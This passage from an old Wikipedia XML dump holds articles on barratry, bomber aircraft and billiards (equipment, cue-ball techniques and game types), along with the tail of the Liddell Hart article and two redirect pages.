*B. H. Liddell Hart, ''The Memoirs of Captain Liddell Hart: Volumes I and II'' (Cassell, London, 1965)
*B. H. Liddell Hart, [http://www.nmt.edu/~shipman/reading/liddell/ ''Why don't we learn from history?''] (Hawthorn Books, New York, 1971)

==Further reading==
*Brian Bond, ''Liddell Hart: A Study of his Military Thought'' (Cassell, London, 1977)
*Alex Danchev, ''Alchemist of War: The Life of Basil Liddell Hart''
*[[John Mearsheimer]], ''Liddell Hart and the Weight of History''

==External links==
*[http://www.kcl.ac.uk/lhcma/cats/liddell/li0.htm Catalogue of Liddell Hart papers] at the [[Liddell Hart Centre for Military Archives]], King's College London

[[Category:1895 births|Hart, B.H. Liddell]]
[[Category:1970 deaths|Hart, B.H. Liddell]]
[[Category:Alumni of Corpus Christi College, Cambridge|Hart, B.H. Liddell]]
[[Category:British Army officers|Hart, B.H. Liddell]]
[[Category:Military historians|Hart, B.H. Liddell]]
[[Category:British historians|Hart, Basil Liddell]]
[[de:Basil Liddell Hart]]
[[he:לידל הארט]]</text>
    </revision>
  </page>
  <page>
    <title>Barratry</title>
    <id>3443</id>
    <revision>
      <id>29905383</id>
      <timestamp>2005-12-02T12:41:17Z</timestamp>
      <contributor>
        <username>Alexander 007</username>
        <id>493689</id>
      </contributor>
      <text xml:space="preserve">Two [[law|legal]] concepts go by the name '''''barratry:''''' one in [[criminal law|criminal]] and [[Civil law (private law)|civil law]], the other in [[admiralty law]].

* In criminal and civil law, '''barratry''' is the act or practice of bringing repeated legal actions solely to harass.  Usually, the actions brought lack merit.  This action has been declared a crime in some jurisdictions. ''See also:'' [[champerty]], [[SLAPP]], [[vexatious litigation]],  [[abuse of process]], [[malicious prosecution]], [[forum shopping]].

* In [[admiralty law]], '''barratry''' is a fraudulent act committed by a master or crew of a vessel which damages the vessel or its cargo, including desertion, illegal [[scuttling]], and theft of the ship or [[cargo]].

A third meaning also exists: the buying and selling of positions within civil authority. This contrasts with  '''[[simony]]''', which is the buying and selling of positions within the church.

{{law-stub}}
[[Category:Civil law]]
[[Category:Criminal law]]
[[Category:Law of the sea]]
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>Birth defect</title>
    <id>3444</id>
    <revision>
      <id>15901776</id>
      <timestamp>2004-12-01T10:11:30Z</timestamp>
      <contributor>
        <username>Karada</username>
        <id>6817</id>
      </contributor>
      <comment>redirecting</comment>
      <text xml:space="preserve">#redirect [[Congenital disorder]]</text>
    </revision>
  </page>
  <page>
    <title>Blind drunk</title>
    <id>3445</id>
    <revision>
      <id>18646977</id>
      <timestamp>2005-07-12T02:54:07Z</timestamp>
      <contributor>
        <username>Pianoman87</username>
        <id>194203</id>
      </contributor>
      <comment>fixed double redirect: now redirects straight to drunkenness</comment>
      <text xml:space="preserve">#REDIRECT [[Drunkenness]]</text>
    </revision>
  </page>
  <page>
    <title>Bomber</title>
    <id>3446</id>
    <revision>
      <id>41306637</id>
      <timestamp>2006-02-26T12:24:20Z</timestamp>
      <contributor>
        <username>Gooberliberation</username>
        <id>324413</id>
      </contributor>
      <text xml:space="preserve">{{alternateuses}}
A '''bomber''' is a [[military aircraft]] designed to attack ground targets, primarily by dropping [[bomb]]s.

*[[Strategic bomber]]s are primarily designed for long-range strike missions against strategic targets such as supply bases, bridges, factories, and shipyards in order to damage an enemy's war effort.  Examples: [[B-17 Flying Fortress]], [[Avro]] [[Avro Lancaster|Lancaster]], [[B-52 Stratofortress]], [[Tupolev Tu-16]], [[Tupolev Tu-160]], [[Gotha G]].

*Tactical bombers are smaller aircraft that operate at shorter range, typically along with troops on the ground. This role is filled by many designs, including those listed below. In modern terms, anything combat aircraft is not a purpose-designed strategic bomber falls into this category.

*Ground-attack (or [[close air support]]) aircraft are designed to loiter over a battlefield and attack tactical targets, such as [[tank]]s, troop concentrations, etc.  Examples: [[Junkers Ju 87 Stuka|Stuka]], [[Ilyushin Il-2|Il-2 Shturmovik]], [[A-10 Warthog]], [[Sukhoi Su-25]].

*[[Fighter-bomber]]s(also called tactical fighters, strike fighters, and attack fighters) are multi-role combat aircraft which can (at least theoretically) be equipped for either air-to-air combat or air-to-ground combat. Many fighter bombers were also designed to engage in [[aerial combat]] immediately after attacking ground targets. Modern multi-role combat aircraft are designed to fulfull multiple roles due to budget restrictions as often as they are for versatility. Examples: [[Hawker Typhoon]], [[Sukhoi Su-7]], [[Republic F-105]], [[F/A-18 Hornet]], and the [[Panavia Tornado]].


[[image:b2.spirit.2.750pix.jpg|300px|right|thumb|[[United States Air Force]] [[B-2 Spirit]] bomber]]

In the past, bombers were an obvious separate type, and often looked dramatically different from other types as well. This was due largely to the lack of power in [[aircraft engine]]s, meaning that in order to carry any reasonable warload, the designs had to carry multiple engines. The result was a much larger aircraft, one with a reasonable [[useful load fraction]] for the role. Engine power was so scarce that designs had to be tailored to one particular niche; during [[World War II]] there were [[dive bomber]]s, [[light bomber|light]], [[medium bomber|medium]] and [[heavy bomber|heavy]] bombers, and specialized ground attack designs.

Traditionally, bombers have carried only defensive armament, and are not designed to engage in combat with other aircraft.  They are relatively large and unmaneuverable (although some have been as fast or faster than contemporary fighters). Attack aircraft are smaller, faster, and more agile, but less so than a [[fighter aircraft|fighter]] when armed for a ground attack mission. They may carry air-to-air armament, but typically only for self-defense.

In modern air forces, the distinction between bombers, fighter-bombers, and attack aircraft has become blurry. Many attack aircraft, even ones that ''look'' like fighters, are optimized to drop bombs, with very little ability to engage in aerial combat. Indeed, the design qualities that make an effective low-level attack aircraft make for a distinctly inferior air superiority fighter, and vice versa. Conversely, many fighter aircraft, such as the [[F-16]], are often used as 'bomb trucks,' despite being designed for aerial combat. Perhaps the one meaningful distinction at present is the question of range: a bomber is generally a long-range aircraft capable of striking targets deep within enemy territory, whereas fighter bombers and attack aircraft are limited to 'theater' missions in and around the immediate area of battlefield combat. Even that distinction is muddied by the availability of [[aerial refueling]], which greatly increases the potential radius of combat operations.

The development of large strategic bombers stagnated in the later part of the [[Cold War]] both because of spiraling costs and the advent of the [[intercontinental ballistic missile]], which was felt to have equal [[deterrence|deterrent]] value while being much more difficult to intercept. The [[United States Air Force]] [[XB-70 Valkyrie]] program was cancelled for that reason in the early [[1960s]], and the later [[B-1 Lancer]] and [[B-2 Spirit]] aircraft entered service only after protracted political and development problems. Their high cost meant that few were built and the 1950s-designed B-52s continued in use into the 21st century. Similarly, the [[Soviet Union]] fielded the intermediate-range [[Tupolev Tu-22M]] in the [[1970s]], but the [[Mach number|Mach 3]] bomber project came to naught. The Mach 2 [[Tupolev Tu-160]] was built only in tiny numbers, leaving the earlier [[Tupolev Tu-16]] and [[Tupolev Tu-95]] heavy bombers of [[1950s]] vintage to soldier on into the 21st century. Meanwhile, the [[United Kingdom|British]] strategic bombing force largely came to an end with the phase-out of the [[V Bomber]] force (the last of which left service in [[1983 in aviation|1983]]. The only other nation that fields a strategic bombing force at present is the [[People's Republic of China]], which has a number of Chinese-built [[Tupolev Tu-16]]s.  

Plans in the US and Russia for successors to the current strategic bomber force remain only paper projects, and present political and funding pressures suggest that they are likely to for the foreseeable future. In the US, current plans call for the existing USAF bomber fleet to remain in service until the mid-to-late 2020s, with no replacement in sight.  

==See also:==
[[bomb]], [[V bomber]], [[light bomber]], [[Dive bomber|dive-bombers]], [[Torpedo bomber|torpedo-bombers]], [[strategic bomber]]s, [[strategic bombing]], [[F-117 stealth bomber|stealth bombers]], [[low-level bombing]], [[carpet bombing]], [[cruise missile]]s, [[Kamikaze]], [[aerial bombing of cities]], [[close air support]], [[aerial interdiction]], [[offensive counter air]], [[terror bombing]]


{{airlistbox}}

[[Category:Military aircraft]]
&lt;!-- The below are interlanguage links. --&gt;

[[it:bombardiere]]
[[da:Bombefly]]
[[de:Bomber]]
[[es:Bombardero]]
[[fa:بمب‌افکن]]
[[fr:Bombardier (avion)]]
[[gl:Bombardeiro]]
[[ko:폭격기]]
[[hu:Bombázó]]
[[ms:Pesawat pengebom]]
[[nl:Bommenwerper]]
[[ja:爆撃機]]
[[no:Bombefly]]
[[pl:Samolot bombowy]]
[[pt:Bombardeiro]]
[[ru:Бомбардировщик]]
[[simple:Bomber]]
[[sl:Bombnik]]
[[sv:Bombflygplan]]
[[zh:轰炸机]]</text>
    </revision>
  </page>
  <page>
    <title>Billiards</title>
    <id>3447</id>
    <revision>
      <id>42066441</id>
      <timestamp>2006-03-03T16:05:49Z</timestamp>
      <contributor>
        <ip>129.67.3.35</ip>
      </contributor>
      <comment>/* The semi-''mass&amp;eacute;'' (&quot;curve&quot; or &quot;swerve&quot;) shot */</comment>
      <text xml:space="preserve">:''This article is about the various cue sports. In the United States, Billiards often denotes the gamut of cue games. Sometimes, however, &quot;billiards&quot; standing alone will refer to carom games played on a pocketless table, while games played on tables with pockets are referred to as pocket billiards or &quot;pool&quot;. By contrast, in some countries, &quot;billiards&quot; refers unambiguously to a specific game. For instance, in the United Kingdom, &quot;billiards&quot; denotes [[English billiards]] exclusively. Likewise, in the [[Netherlands]], billiards refers solely to [[Carambole billiards]].''
[[Image:Studenten Billard.JPG|right|thumb|300px|]] 
'''Billiards''' is a family of games played on a table, with a stick, known as a [[cue stick]], which is used to strike balls, moving them around the table. 

All billiard games are generally regarded to have evolved into indoor games from outdoor stick and ball games.{{ref|Stein}}  The word &quot;billiard&quot; may have evolved from the French word ''billart'', meaning &quot;mace&quot;, an implement, similar to a golf club, which was the forerunner to the modern cue.

The word &quot;pool&quot; generally refers to pocket billiard games such as [[Eight ball|8-ball]], [[Nine ball|9-ball]], [[Straight pool|straight pool]] and [[One pocket|one-pocket]].  The word &quot;pool&quot; comes from &quot;poolrooms,&quot; where people gambled off track on [[horse-racing|horse races]].  They were called poolrooms as money was &quot;pooled&quot; to determine the odds.  Because such rooms commonly provided billiard tables, pool became synonymous with billiards by association.  The terms &quot;pool&quot; and &quot;pocket billiards&quot; are now interchangeable.

==Equipment==
===Billiard balls===
[[Image:Billiards balls.jpg|right|thumb|250px|''pool balls'']]
The number, type, diameter, color, and pattern of [[Billiard ball]]s differ depending upon the specific billiards game being played.  In [[eight ball]], [[straight pool]], and related games, 16 balls are employed: fifteen colored &quot;[[Glossary of pool and billiards terms#Object ball(s)|object ball]]s&quot; and one white &quot;[[Glossary of pool and billiards terms#cue ball|cue ball]]&quot;.  Object balls 1-7 are solid-colored, and are respectively colored yellow, blue, red, purple, orange, green, and dark red or brown. Balls 9-15 are white, each with a single wide colored stripe that matches the corresponding solid ball; the 9-ball has a yellow stripe, the 10-ball a blue stripe, and so on.  The 8-ball is solid black. In the game of [[9-ball]], only object balls 1-9 are used. Regulation balls are 2{{fraction|1|4}} inches (57.15 mm) in diameter and weigh between 5{{fraction|1|2}} and 6 ounces (156 to 170 g). British pool also uses 16 balls, but they are not numbered, with the &quot;suits&quot; being divided into reds and yellows instead of stripes and solids (and shots are not &quot;called&quot; since there is no way to identify particular balls to be pocketed); the balls and the pockets on the table are usually slightly smaller (though larger than those of snooker (see below).

Other specific properties such as hardness, [[friction coefficient]] and resilience are very important. Such requirement are met today with balls cast from [[phenolic resin]].  Historically, balls were often made of clay and even elephant ivory for a period (see below for more detail). Coin-operated pool tables historically have often used either a larger (&quot;grapefruit&quot;) or denser (&quot;rock&quot;, typically ceramic) cue ball, such that its extra weight makes it easy to separate it from object balls (which are captured until the game ends and the table is paid again for another game) so that the cue ball can be returned for further play, should it be accidentally pocketed.  Modern tables usually employ a magnetic ball of regulation or near-regulation size and weight, since players have rightly complained for many decades that the heavy and often over-sized cue balls do not &quot;play&quot; correctly.

Some balls used in televised pool games are colored differently to make them distinguishable on television monitors. The 4 ball used in such games is colored pink instead of purple, while the 7 ball is colored sienna (or a lighter shade of brown) rather than brown. The stripes on the 12 and 15 balls are colored the same way. Likewise, cue balls used for televised matches may depart from the norm by having spots or stripes on their surface so that spin placed on them is evident to viewers.

In [[snooker]], there are fifteen red balls, six colored balls (yellow, green, brown, blue, pink, and black), and one white cue ball. The red balls are typically not numbered, though the six colored balls often are, and can easily be mistaken at first glace for pool balls (the design is similar, but the number does not match pool's scheme).  Snooker balls are normally 2{{fraction|1|16}} inches (52.4 mm) in diameter.

In the carom games such as straight billiards (&quot;straight rail&quot;), [[Carambole billiards|three-cushion billiards]] and balkline, as well as English billiards, there are two cue balls and a red ball. One of the cue balls is typically white and the other one is either yellow or white with a red dot. These balls are normally 2{{fraction|3|4}} inches (69.9 mm) in diameter.

Billiard balls were originally made from [[ivory]], imported from Africa. In the mid-19&lt;sup&gt;th&lt;/sup&gt; century, in an amazing bit of accidental [[environmentalism]], the billiard industry realized that the supply of elephants (their primary source of ivory) was limited.  They challenged inventors to come up with an alternative material that could be manufactured.  [[John Wesley Hyatt]] answered the call by inventing [[cellulose]] nitrate in 1870, branded under the name celluloid, the earliest industrial plastic. Subsequently, to fix the problem of cellulose nitrate instability, the industry experimented with various other synthetic materials for billiards balls such as [[bakelite]] and other plastic compounds. Eventually [[phenolic resin]] became the industry standard and is virtually the only billiard ball material used today.

[[Image:PoolTablewithEquipment-non.jpg|right|thumb|250px|''Pool table with equipment'']]

===Tables===
There are many sizes and styles of pool and [[billiards table|billiard table]]s. Generally, tables are perfect [[rectangles]] &amp;mdash; twice as long as they are wide. Most pool tables are known as 7-, 8-, or 9-footers, referring to the length of the table's long side. Snooker and English billiard tables are 12 feet long on the longest side. Pool halls tend to have 9-foot tables and cater to the serious pool player. Bars will typically use 7-foot tables which are often coin-operated. Formerly, 10-foot tables were common, but such tables are now considered antique collectors items; a few, usually from the late 1800s, can be found in up-scale pool halls from time to time.

The length of the pool table will typically be a function of space, with many homeowners purchasing an 8-foot table as a compromise. High quality tables are mostly 9-footers, with a bed made of three pieces of thick slate to prevent warping and changes due to humidity. Smaller bar tables are most commonly made with a single piece of slate. Pocket billiards tables normally have six pockets, three on each side (four corner pockets, and two side pockets).  

All types of tables are covered with billiard cloth (often called &quot;felt&quot;, but actually a woven wool or wool/nylon blend called [[Baize|baize]]). Bar or tavern tables, which get a lot of play, use &quot;slower&quot;, more durable cloth. Good quality pool cloth is &quot;faster&quot; (i.e. provides less friction, allowing the balls to roll farther), and the best quality pool cloth is made from [[worsted|worsted wool]]. Snooker table cloth traditionally has a nap (consistent fiber directionality) and balls behave differently when rolling against the direction of the nap.  The cloth of the billiard table is typically green reflecting its origin{{ref|Shamos}} (and thus the name of the pool movie ''[[The Color of Money]]'', referring to the color of American currency notes).

===Cues===
(''See also [[Cue stick]]'')

Billiards games are played with a stick known as a cue.  A cue is usually either a one piece tapered stick or a two piece stick divided in the middle by a joint of metal or phenolic resin. High quality cues are generally two pieces and are made of a hardwood, generally maple for billiards and ash for snooker.   

The &quot;butt&quot; end of the cue is of larger circumference and is intended to be gripped by a player's hand.  The &quot;shaft&quot; of the cue is of smaller circumference, usually tapering to an 11-14 millimeter terminus called a ferrule, where a leather tip is affixed to make final contact with balls. The leather tip, in conjunction with chalk, can be used to impart spin to the cue ball when not being hit in its center.  

Cheap cues are generally one piece cues made of ramin or other low quality wood with inferior tips of various materials (usually plastic). A quality cue can be expensive and may be made of exotic woods and other expensive materials which are artfully inlaid in decorative patterns.  Skilled players may use more than one cue during a game, including a separate cue for the opening break shot and another, shorter cue with a special tip for jump shots.

===The mechanical bridge===

The mechanical bridge, sometimes called a &quot;rake&quot; or simply &quot;bridge&quot; and known as a &quot;rest&quot; in the UK, is used to extend a player's reach on a shot where the cue ball is too far away for normal hand bridging. It consists of a stick with a grooved metal or plastic head which the cue slides on. Many amateurs refuse to use the mechanical bridge based on the perception that to do so is unmanly. However, many aficionados and professionals employ the bridge whenever the intended shot so requires. [[Image:Billiard chalk 20050724 001.jpg|thumb|130px|Billiard chalk]]

===Chalk===

Chalk is applied to the tip of the cue stick, ideally between every shot, to increase the tip's friction coefficient so that when it impacts the cue ball on a non-center hit, no miscue (unintentional slippage between the cue tip and the struck ball) occurs. The quality of chalk varies greatly from brand to brand, which can significantly affect play. High humidity can also impair the effectiveness of chalk.  Cuetip chalk is often not actually the substance typically referred to as &quot;[[chalk]]&quot;, but some proprietary compound, frequently with a [[silicate]] base. &quot;Chalk&quot; may also refer to hand chalk, used to lubricate the cue and bridge hand during shooting (many players prefer talcum powder or a slick pool glove because of the long-term abrasive effect of actual carbonate chalk on the shaft of the cue).

==Position play==

In both carom and pocket billiards, an immensely important part of the game on each shot is the exercise of control over the final resting position of the cue ball. 

In carom games an advanced player's aim on most shots is to leave the cue ball and the object balls in position such that the next shot is of a less difficult variety to make the requisite carom, and so that the next shot is in position to be manipulated in turn for yet another shot; ''ad infinitum''. 

Similarly, in many pocket billiard games, an advanced player's aim is often to manipulate the cue ball so that it is in position to pocket a chosen next ball and so that that next shot can also be manipulated for the next shot; ''ad infinitum''. Whereas in the carom games, manipulation of the object balls position is crucial as well, in pool this is normally not as large a factor, as, on a successful shot, the ball has left the table's playing surface. Many shots in the game of one-pocket, however, have this same added object ball control factor. 

If a player is not attempting to score or pocket, depending on the game, then the goal is usually to exercise control over the cue ball to leave some type of [[Glossary of pool and billiards terms#safety|safety]] to make it more difficult for the opponent to score or pocket. 

In order to control the cue ball on a shot, a player must master a wide variety of techniques, and have a well-founded conceptual grasp of the mechanics involved.

As stated by [[George Fels]], 'pool's poet laureate': &quot;The mere pocketing of a ball isn't that hard; in fact, it's relatively simple. What drives many, many players to distraction is the unpredictability of the cueball's path of travel...the game of billiards requires you to drive a ball someplace; pool, in any form, mostly asks you to stop a ball someplace. In either case, you'll fare much better when you understand the how and why of a ball's getting from one place to another.&quot; {{ref|Harris}}

==Shooting techniques/mechanics==
[[Image:Vincent Willem van Gogh 076.jpg|thumb|right|&lt;center&gt;[[Vincent Van Gogh|Vincent Van Gogh's]]''&lt;br&gt; ''The Night Café'']]
===English===
 
English (called &quot;side&quot; in the United Kingdom and sometimes simply called &quot;left&quot; or &quot;right&quot;) normally refers to sidespin put on a cue ball by hitting it to the left or right of center. Generally, english is used to change the angle of deflection of the cue ball after it contacts a rail. English also affects the direction an object ball takes on impact (the &quot;throw&quot; effect), as well as the path of travel of the cue ball after impact with a cue (&quot;deflection&quot; or &quot;squirt&quot;).

Sometimes english is conflated to refer as well to spin imparted on the vertical axis of the cue ball. However, an above center hit is more precisely referred to as &quot;follow,&quot; and a below center hit, as &quot;draw.&quot; Any time the cue ball is not struck directly in the center, some spin will be imparted, whether left or right english, follow or draw. Unintentional sidespin is a common source of missed shots. Spin is not always placed on the cue ball by the shooter; spin is naturally imparted to the cue ball from contact with pool cloth on the bed of the table and on the table's rails.

===Follow===

Follow, sometimes called top spin or simply &quot;top&quot;, is spin in the direction of travel of the cue ball, such that it is spinning faster than it would from its natural roll. If the cue ball has top spin on it, the cue ball, after making contact dead-on with the object ball, rather than stopping abruptly, will resume rolling forward and ''follow'' the struck ball.

Top spin is imparted to a ball by hitting it above the midpoint of its vertical plane as it faces the shooter. Top spin is spin in the direction a ball naturally &quot;wants&quot; to take in reaction to friction from contact with the pool cloth. Because of this, a ball sliding on the cloth will rapidly pick up follow. Likewise, a ball struck so that it is spinning backwards (with ''draw'' &amp;mdash; see below) immediately starts losing that spin, and if it travels far enough, will reach a sliding point (no spin), soon graduating to natural follow.

Follow applied to a non-dead-on shot will cause the angle of departure of the cue ball from the object ball to widen shortly after impact; the thicker the hit on the object ball, the more this effect will be noticeable (on very thin cut shots it practically does not exist).  Similarly, top spin will cause a widening of the cue ball's rebound angle after impact with a rail cushion.  

Follow also increases the rate of cue ball travel, both before and after object-ball impact,  and actually imparts a small amount of draw to the object ball.

===Draw===

Draw, sometimes called back spin or &quot;bottom&quot;, is backward spin applied to the cue ball by hitting it below the midpoint of its vertical plane as it faces the shooter. If the cue ball is hit with draw, and if that spin remains on the cue ball at the moment of impact with an object ball, the cue ball will reverse direction on a dead-on or center-to-center hit, and &quot;draw&quot; backwards. Draw is referred to in the United Kingdom as &quot;screw&quot;.

Draw applied to a non-dead-on shot will cause the angle of departure of the cue ball from the object ball to narrow shortly after impact. Similarly, it will cause a narrowing of the cue ball's rebound angle after impact with a rail cushion.

Draw also slows the rate of cue ball travel, both before and after object-ball impact, and actually imparts a small amount of follow to the object ball.

===Slide===

Slide refers to a cue ball that is sliding across the cloth with no follow or draw spin. To illustrate this principle, if a ball was marked with a single red dot on it which faced the ceiling at the time the cue ball was struck, an observer would see the cue ball traveling with that red dot remaining fixed at the top of the ball, and observe the bottom of the ball &quot;sliding&quot; over the cloth. 

In order to initially achieve a sliding cue ball, a middle ball hit is employed. The more speed with which the cue ball is hit in this manner, the longer the cue ball will slide before picking up natural forward roll from cloth friction. However, because of this tendency of the cue ball to acquire follow from cloth friction, in order to deliver a sliding cueball to an object ball at distance, the cue ball must be be precisely hit with the necessary degree of draw so that by the time it ''reaches'' that object ball, the draw has dissipated, and the cue ball is sliding at the moment of impact.

===The stop and stun shots===

When a ''sliding'' cue ball contacts an object ball dead-on (a center-to-center hit), the cue ball and object ball are of the same mass, and neither follow nor draw is on the cue ball at the moment of impact, the cue ball will transfer all of its momentum to the object ball and come to a complete stop. If the sliding cue ball in the preceding scenario has sidespin on it when it contacts an object ball dead on, it will come to a complete stop but spin in place at that position until the sidespin dissipates.  If the cue ball and object ball contact is not dead-on but still very full, the result will often be a &quot;stun&quot; shot, where the cue ball departs the object ball in the expected direction but travels only a short distance.  The stun effect can often be enhanced with a minimal amount of draw, to reduce cue ball speed before impact with the object ball.

===The tangent line===

If a cue ball is ''sliding'' at the time it contacts an object ball at an angle (i.e. a cut shot &amp;mdash; ''not'' a center-to-center impact), the cue ball will travel in a line tangential to the point of impact between both balls--the &quot;tangent line.&quot; Because Billiard balls are not [[inelastic]], the resulting tangent line is slightly less than 90° from perpendicular to a line formed by the contact point between the balls.  

If the cue ball hits an object ball at an angle and has follow on it, the cue ball will first travel on the tangent line and then parabolically arc forward from the tangent line in the direction of cue ball travel. By the same token, when such impact is made and the cue ball has draw on it, the cue ball will first travel on the tangent line and then [[parabola|parabolically]] arc backward from the tangent line in the opposite direction of cue ball travel. Whether follow or draw is on the cue ball, the ''faster'' the cue ball is traveling at the moment of impact, the ''farther'' it will travel on the tangent line before arcing forward or backward.

===Throw===

Throw refers to an object ball's motion away from the impact line due to relative sideways sliding motion between the cue ball and object ball caused by sidespin or a cut angle. 

When a ball with english (sidespin) on it hits an object ball with a degree of fullness, the object ball will be &quot;thrown&quot; in the opposite direction of the side of the cue ball the english was applied. Thus, a cue ball with left hand english on it will &quot;throw&quot; a hit object ball to the right. 
[[Image:Gears animation.gif|frame|right|Intermeshing gears in motion]]
This effect is sometimes overarchingly referred to as &quot;the gear system;&quot; so-called because the interaction of the cogwork gears of a clock &amp;mdash; each circular gear is interlocked with an abutting circular gear and each spins in the opposite direction of its neighbor in a series. English on the cue ball can cause a very similar effect. If the cue ball with left hand english in the preceding scenario contacts an object ball relatively full and that object ball is frozen to another, the first object ball is thrown to the right and the second to the left, exactly as the name implies.

Throw is also imparted to a ball by collision from a cue ball with no english on it through friction. This is sometimes called &quot;collision-induced throw.&quot; The direction of the throw depends entirely on the direction the cue ball hits the object ball from. Unlike throw cause by spin, friction from a collision induced throw &quot;pushes&quot; the cue ball in the same direction as the cue ball was traveling before impact. Thus, a cue ball traveling from the left will cause an impacted object ball to be thrown slightly to the left of the natural angle it would otherwise be sent. 

Both varieties of throw are highly influenced by speed. Generally, the softer the cue ball is moving at the time of impact, the that more throw will affect the object ball's resultant path of travel.

===The semi-''mass&amp;eacute;'' (&quot;curve&quot; or &quot;swerve&quot;) shot===

A cue ball can be made to curve in its path of travel. This is usually employed for the purpose of avoiding an interfering ball or balls. In order to achieve a curve, a player's cue stick must be elevated and the cue ball struck with english. A curve to the left is accomplished by hitting the cue ball with an elevated cue and left-hand english. A curve to the right is accomplished by hitting the cue ball with an elevated cue and right-hand english. The higher the elevation of the cue, the more steep the degree of curve. The more speed a cue ball is hit with the farther it will travel in the direction it was hit before beginning to curve.

Such shots are typically referred to as &quot;curve shots&quot; by North Americans and &quot;swerve shots&quot; by the British.

Very steep curves and even reversal of the cue ball path of direction a few moments after being struck can be accomplished by elevating the cue stick to a high degree of elevation. Such large scale curves and reversals of direction are much more difficult and are referred to as ''mass&amp;eacute;'' shots (see below).

===The ''mass&amp;eacute;'' shot===

''Mass&amp;eacute;'' refers to imparting a high degree of spin along both the vertical and horizontal axes of the cue ball so that it sharply curves or even reverses direction without having to contacting another ball or rail. A ''mass&amp;eacute;'' is performed by hitting the cue ball with a highly elevated cue stick (compare semi-''mass&amp;eacute;''). ''Mass&amp;eacute;s'' are quite difficult and are not allowed in some venues as the table's cloth can be easily damaged by unskilled players.

===Swerve effect ===

Whenever a pool ball is struck with any degree of english, and with a cue that is not perfectly level, a curve results. In the two immediately-preceding sections, ''intentional'' curves of lesser and greater degrees were described. However, because in most billiards shots, the cue is slightly elevated, if english is employed, an ''unintentional'' (and imperceptible to the naked eye) curve results. This is known as &quot;swerve&quot; or &quot;the swerve effect&quot;. The farther away an intended target is from the cue ball's original shooting position, the more swerve of the cue ball will affect where the cue ball arrives. For this reason, use of english (and unintentional english) are complicating factors in billiards and swerve must be compensated for. The ''swerve effect'' should not be confused with a ''swerve shot'', previously defined as commonwealth terminology for a curve shot.

===Deflection (squirt)===

Deflection can be described as displacement of the cue ball from the aimed direction in the opposite direction of the side english was applied. Like the swerve effect, deflection is an unwanted complicating factor in pool, present whenever english is employed.

Much ink has been spilled analyzing the physics of deflection. What the player needs to know is that when english is used, the cue ball will always begin its travel in a direction not exactly as aimed; it will &quot;squirt&quot; off of the line parallel with the cue's direction. Deflection increases the faster your cue stick is traveling at impact and the more english attempting to be applied.

Deflection can be decreased by the type of cue used, and at the high levels, players will often select a personal playing cue based on the amount of squirt the cue imparts (the less the better). 

Because swerve and deflection (for very different reasons) each cause the cue ball to take a different path than aimed, but each does so in the opposite direction of the other, under the right conditions swerve and deflection can cancel each other out.

===The jump shot===

A jump shot describes any shot where the cue ball is intentionally driven into the air in a legal manner. It is not permissible in some games (e.g. Snooker) and may be frowned upon or even forbidden in some venues as attempts at it by unskilled players may cause damage to a table's cloth. A legal jump shot requires that the cue ball be hit above center, driving it down into the table, such that the ball will leave the table surface on a rebound. All authoritative rule sources deem it illegal to &quot;scoop&quot; under the cue ball with the tip of the cue to fling it into the air (technically because it is illegal to contact the cue ball with the ferrule of the cue, and because the cue ball is struck twice, both of which are classic fouls.

Unintentional small jumps are ubiquitous to billiards. In most billiards shots, a player's cue is slightly elevated. Whenever a ball is struck with an elevated cue, a jump, no matter how slight, occurs. An oft-used way to illustrate this principle is to have a player place a coin face down on the table approximately an inch in front of the cue ball. When shot very softly, the player will audibly hear the coin being struck and see the cue ball's reaction to that collision. When the same shot is performed with any degree of speed no sound or collision is evident, and it is clear that the coin is being jumped.

==Types of games (carom and pocket)==

There are two main varieties of billiard games: carom and pocket. The main carom billiards games are straight billiards, balkline and three cushion billiards. All are played on a pocketless table with three balls; two cue balls and one object ball. In all, players shoot a cue ball so that it makes contact with the opponent's cue ball as well as the object ball. 

The most popular of the large variety of pocket games are [[Eight-ball]], [[9-ball]], [[one-pocket]], [[bank pool]] and [[snooker]]. In 8-ball and 9-ball the object is to sink a designated ball to win. In 8-ball, players must pocket a group of balls, either the solids or the stripes, before they can pocket the eight for the win. In both one-pocket and bank pool the players must sink a set number of balls; respectively, all in a particular pocket, and all by banking. In 9-ball, players must shoot the balls in order, from one through nine. In snooker, players score points by alternating shooting red balls and balls of a different colour.

===Straight billiards or straight rail===

In straight billiards, a player scores a point and may continue shooting each time his cue ball makes contact with both other balls.  

Although a difficult and subtle game, some of the best players of straight billiards developed the skill to drive both balls into a corner and from that position were able to score a seemingly limitless number of points.

The first straight billiards professional tournament was held in 1879 where [[Jacob Schaefer, Sr.]] scored 690 points in a single turn{{ref|Shamos}} (that is, 690 separate strokes without a miss). With the balls barely moving and repetitively hit, there was little for the fans to watch.

===Balkline===

In light of these phenomenal skill developments in straight rail, the game of balkline soon developed to make it impossible for a player to keep balls in a corner for an interminable period. ''A balkine'' is a line parallel to one end of a billiard table. In the ''games'' of balkline--balkline 18.1 and 18.2--the players have to drive either one ball or two balls (respectively) past a balkine set at 18 inches from the rail after a fixed number of shots. 

===Three cushion billiards===

:''Main article: [[Carambole billiards|three cushion billiards]]''

A more elegant solution was three cushion billiards, which requires a player to make contact with the other two balls on the table and contact three rail cushions in the process. This is difficult enough that even the best players can only manage to average one to two points a turn.

=== Eight ball===
{{main|Eight ball}}

In the [[United States]], the most commonly played game is 8-ball played on tables that are 7 feet long. In the [[United Kingdom]] the game is commonly played in pubs and it is competitively played in leagues. It is also played as a world championship tournament run by  the [[International Pool Association]]

=== Nine ball===
{{main|Nine ball}}

9-Ball is a rotation game where the 1-9 balls are used. The player at the table must make a legal shot on the lowest numbered ball on the table or forfeit his/her turn. The game is won by legally pocketing the nine ball.  9-Ball is the predominant professional game. There are many local and regional tours and tournaments that are contested with 9-Ball. There is no particular governing body of 9-ball. Most places play with a version of &quot;Texas Express&quot; or WPA (World Pool Association) rules. The largest 9-ball tournaments are the independent US Open and the World 9-Ball Championships for men and women. Male professionals have a rather fragmented schedule of professional 9-Ball tournaments at this time (2005). Female professionals have a steady professional circuit that is governed by the Women's Professional Billiard Association.

=== One pocket===
{{main|One pocket}}
One pocket is a strategic game for two players. Each player is assigned one of the corner pockets on the table. This is the only pocket into which he can legally pocket balls. The first player to pocket the majority of the balls (8) in his pocket wins the game. The game requires far more defensive strategy than offensive strategy, much unlike 8-ball, 9-ball, or straight pool. It has been said that if 8-ball is checkers, one-pocket is chess.

=== Bank pool ===
